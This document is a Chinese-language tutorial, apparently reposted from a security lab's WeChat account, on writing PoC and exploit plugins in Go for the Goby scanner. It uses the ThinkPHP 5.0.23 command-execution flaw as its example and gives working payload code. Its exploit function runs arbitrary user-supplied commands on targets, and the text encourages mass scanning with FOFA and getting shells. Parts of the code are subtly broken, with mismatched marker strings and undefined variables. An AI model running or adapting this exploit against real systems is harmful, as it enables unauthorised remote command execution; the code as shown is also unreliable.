前言
poc与exp
想象一下,你在朋友家看到一扇窗户没有上锁。你轻轻地推了推窗户,发现它可以轻松打开。这时,你并没有真的进入房间,只是想告诉你的朋友:“嘿,你的窗户没锁,有人可能会从这里进来。”这就是 Poc 的作用——它展示了存在一个潜在的安全隐患,但并没有真正去利用这个漏洞。
再回到那个未锁的窗户。这次,你不仅推开了窗户,还爬进了房间,开始翻找贵重物品,甚至留下了标记,告诉其他人这扇窗户是个容易入侵的地方。这就是 Exp 的行为——它不仅仅是指出漏洞,还会实际利用这个漏洞进行攻击,达到某种恶意目的。
Goby的优势
我们都知道goby是资产探测和漏洞扫描工具,但是我们都往了它还有一个实战化功能那就是poc编写,其实支持poc编写的工具多了是,像xray,nuclei等等,但他们值支持poc编写,goby是可以支持exp编写的。我们可以看到Goby发布的漏洞更新视频,一个命令执行漏洞验证成功后竟然可以有选项,有cmd选项可以执行命令,有shell可以反弹shell,这篇文章就是教你自己怎么玩转goby的exp
Gui界面写poc/exp想必都会,这篇文章是想讲怎么用Go语言写Goby的poc。
我们打开goby的增加poc->编辑器。复制当前内容到goalnd进行查看。可以看出本质上还未进行任何东西写入的内容是一个go文件,导入的是这个goutils
库,Gui的poc编写本质也是丰富expJson
这个变量,这篇文章就是教大家用下面的函数来编写,Goby— 资产绘测及
package exploits
import (
"git.gobies.org/goby/goscanner/goutils"
)
funcinit() {
expJson := `{***}`
ExpManager.AddExploit(NewExploit(
goutils.GetFileName(),
expJson,
nil,
nil,
))
}
我们打开Goby的官方链接实战化漏洞扫描工具 (gobysec.net)跳到模板规约->高级模式。可以看到这些介绍。
高级模式即使用代码编写poc是针对正常 JSON
格式无法满足需求的一种场景,采用 Golang
编写漏洞代码。POC
验证通过第一个函数来表示通过响应 bool
来判定是否存在漏洞,EXP
利用通过第二个函数来表示响应通过 ExploitResult
来表示执行结果。
高级模式模版如下:
import (
"git.gobies.org/goby/goscanner/goutils"
"git.gobies.org/goby/goscanner/jsonvul"
"git.gobies.org/goby/goscanner/scanconfig"
)
ExpManager.AddExploit(NewExploit(
goutils.GetFileName(),
expJson,
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig)bool {
returnfalse
},
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
return expResult
},
))
高级模式模板相对于json模式模板多了两个函数。
poc函数, 该函数参数分为 jsonvul.JsonVul
、httpclient.FixUrl
、scanconfig.SingleScanConfig
结构体组成,通过响应 bool
来确认漏洞是否存在。
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig)bool {
returnfalse
},
exp函数, 自定义 EXP
由一个函数构成,该函数参数分为 jsonvul.ExploitResult
、scanconfig.SingleScanConfig
结构体组成,通过响应 jsonvul.ExploitResult
来确认漏洞利用结果。
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
return expResult
},
我们先来看poc函数,其实自己看文档也可以,但是文档太全了,我们直接介绍写一个命令执行的poc/exp需要最少用到这些结构体的什么字段。我们以thinkphp 5.0.23漏洞为例子,写个poc,不多说,直接搬po
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
// 配置目标地址
url := u.FixedHostInfo + "/index.php?s=captcha"
// 定义请求头map
header := map[string]string{
"Content-Type": "application/x-www-form-urlencoded",
}
// 请求主体,当然大多数的payload也是在这配置,这里配置的命令是echo rce_vul
payload := []byte("_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo%20rce_vul")
// 创建一个新的POST请求实列
req, err := http.NewRequest("POST", url, bytes.NewBuffer(payload))
if err != nil {
return false
}
// 将定义的请求头map赋值到请求实列中
for i, v := range header {
req.Header.Set(i, v)
}
// 创建HTTP客户端并发送请求
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return false
}
// 读取body
body, err := io.ReadAll(resp.Body)
if err != nil {
return false
}
// 判断目标是否存在漏洞
if !strings.Contains(string(body), "exp_vul") {
return false
}
// 配置漏洞成功的url,让goby的展示出来
ss.VulURL = hostInfo.FixedHostInfo + pocUrl
return true
},
我们可以看到,逻辑跟其他编程语言是一样的,配置请求地址,请求头,请求主体,发送http请求,最后验证是否符合。但是这里我们能看到url := u.FixedHostInfo
,也就是说目标是goby给的,这也是大多数漏扫支持的功能。现在可以这样说,当你拿到一个漏洞详情或者情报,你可以立刻使用goby来编写poc,实现批量扫的功能。
但是你可以看到这个代码量相对于python来说有点多呀,所以我们可以通过封装http请求,将http请求封装成一个匿名函数,我们将http请求封装成PostHttp函数。
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
// 封装后的函数
PostHttp := ***
// 配置目标地址
url := u.FixedHostInfo + "/index.php?s=captcha"
// 定义请求头map
header := map[string]string{
"Content-Type": "application/x-www-form-urlencoded",
}
// 请求主体,当然大多数的payload也是在这配置,这里配置的命令是echo rce_vul
payload := []byte("_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo%20rce_vul")
resp, err := PostHttp(url, header, string(payload))
if err != nil {
returnfalse
}
// 读取body
body, err := io.ReadAll(resp.Body)
if err != nil {
returnfalse
}
// 判断目标是否存在漏洞
if !strings.Contains(string(body), "rce_vul") {
returnfalse
}
ss.VulURL = hostInfo.FixedHostInfo + pocUrl
returntrue
},
可以看到我们就要关心http设置和返回了,大家也可以奇思妙想将重复使用的代码进行封装,更加地简化自己的代码,也是让自己专注于处理漏洞逻辑本身。大家可以导入代码了,但是别忘了大家要导入那几个包,我在此列出来
import (
"git.gobies.org/goby/goscanner/goutils"
"git.gobies.org/goby/goscanner/jsonvul"
"git.gobies.org/goby/goscanner/scanconfig"
"git.gobies.org/goby/httpclient"// 这个试了很久才试出来,吐槽一下这个
)
我们想到我们利用goby可以做到批量扫描漏洞,而且goby是可以跟fofa联动的,大家应该知道我在说啥-OvO-。有了这个大家可以自已通过go语言打造自己的poc漏洞库。
这里我只用了两个字段,大家可以去深挖那三个结构体,去实现更哇塞的功能上期文章讲了使用Go来编写poc,相信大家已经炉火纯青了,拿着漏洞情报开始乱杀了,这期来讲怎么编写exp,exp和poc的区别上期也简单介绍了下,poc是验证,exp是利用,比如文件上传漏洞,怎么一键getshell,命令执行漏洞怎么进行交互,那么多目标,都有burpsuite进行交互吗,当然除了rce,常规漏洞大家也可以开发出更深的利用方法,也可以说是更深信息提取方法。
这次我们不先看函数,先看EXP Params,我们先定义我们exp的功能配置,大家当看到goby发新漏洞,演示视频中的一个poc有cmd功能,reverse功能,到底怎么来的呢,答案就是这里。
当你对Has EXP打钩时,就会弹出下面的Exp 功能配置,第一行我们可以统一功能的全面定义,attackType表示攻击类别是个前端展示的文字,cmd就是功能名称,当你在这个框填cmd,reverse就是代表有两个功能,一个cmd,一个reverse,后面的select代表是对前面的配置进行选择,
我们再来看看Goby的exp标准函数。
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
return expResult
},
可以看到相较于poc函数,少了一个httpclient
包,最前面的exp *jsonvul.JsonVul
也改成了expResult *jsonvul.ExploitResult
,我们这里exp的逻辑就是实现我们所定义的功能配置,我们刚刚配置cmd功能,也就是说支持自定义的命令执行,我们也直接上代码。
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
PostHttp := *** //封装的post发包函数
// 配置目标地址
url := expResult.HostInfo.FixedHostInfo + "/index.php?s=captcha"
// 定义请求头map
header := map[string]string{
//"Host": "localhost:8080",
"Content-Type": "application/x-www-form-urlencoded",
}
// 获取攻击类型
attacktype := goutils.B2S(ss.Params["attackType"])
// 判断攻击类型
switch attacktype {
//
case "cmd":
// 获取cmd变量的值
cmd := goutils.B2S(ss.Params["cmd"])
// 将值赋给payload实现我们的自定义的配置
payload := []byte("_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=" + cmd)
resp, err := PostHttp(url, header, string(payload))
if err != nil {
return expResult
}
// 读取body
body, err := io.ReadAll(resp.Body)
if err != nil {
return expResult
}
//配置漏洞的利用状态和展示结果
expResult.Success = true
expResult.Output = string(body)
default:
expResult.Success = false
expResult.Output = `未知的利用方式`
}
return expResult
},
我们直接看实现的效果!!!
我们可以看到我们可以跟命令框的效果一样,自定义命令的结果,当然这只是打开了这个大门,不仅仅命令执行,文件上传,你可以实现点击就返回shell地址。对了我们可以看到这个输出不仅仅是我们命令的结果,他把整个html正文给返回了,如果我们只想要命令的结果,就需要正则匹配,当然正则匹配也可以进行函数封装,看下面封装代码。
// regMatch 使用正则表达式匹配字符串。
// 如果匹配成功,它返回匹配到的字符串;如果匹配失败,它返回一个错误。
// 此函数主要用途是通过提供的正则表达式模式来检查一个字符串,并找出匹配的部分。
func regMatch(s string, pattern string) (string, error) {
// 编译正则表达式模式。
reg := regexp.MustCompile(pattern)
// 检查字符串s是否与提供的正则表达式模式匹配。
if !reg.MatchString(s) {
// 如果没有匹配到任何字符串,返回错误。
return "", errors.New("没有匹配的字段")
}
// 查找字符串s中与正则表达式模式匹配的部分,并返回匹配的结果。
result := reg.FindStringSubmatch(s)
// 返回匹配到的字符串。由于FindStringSubmatch返回一个字符串切片,其中result[0]是整个匹配到的字符串。
return result[0], nil
}
通过正则匹配就能得到过滤之后的结果www-data
。最后只想说明在使用代码编写poc/exp的时候,可以随心所欲,没有很多的限制,因为只要逻辑正确,代码就能实现。这很大地帮助了我们去了解漏洞的本身。
原文始发于微信公众号(星航安全实验室):Goby编写poc/exp指南-打造属于自已的实战漏洞库
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论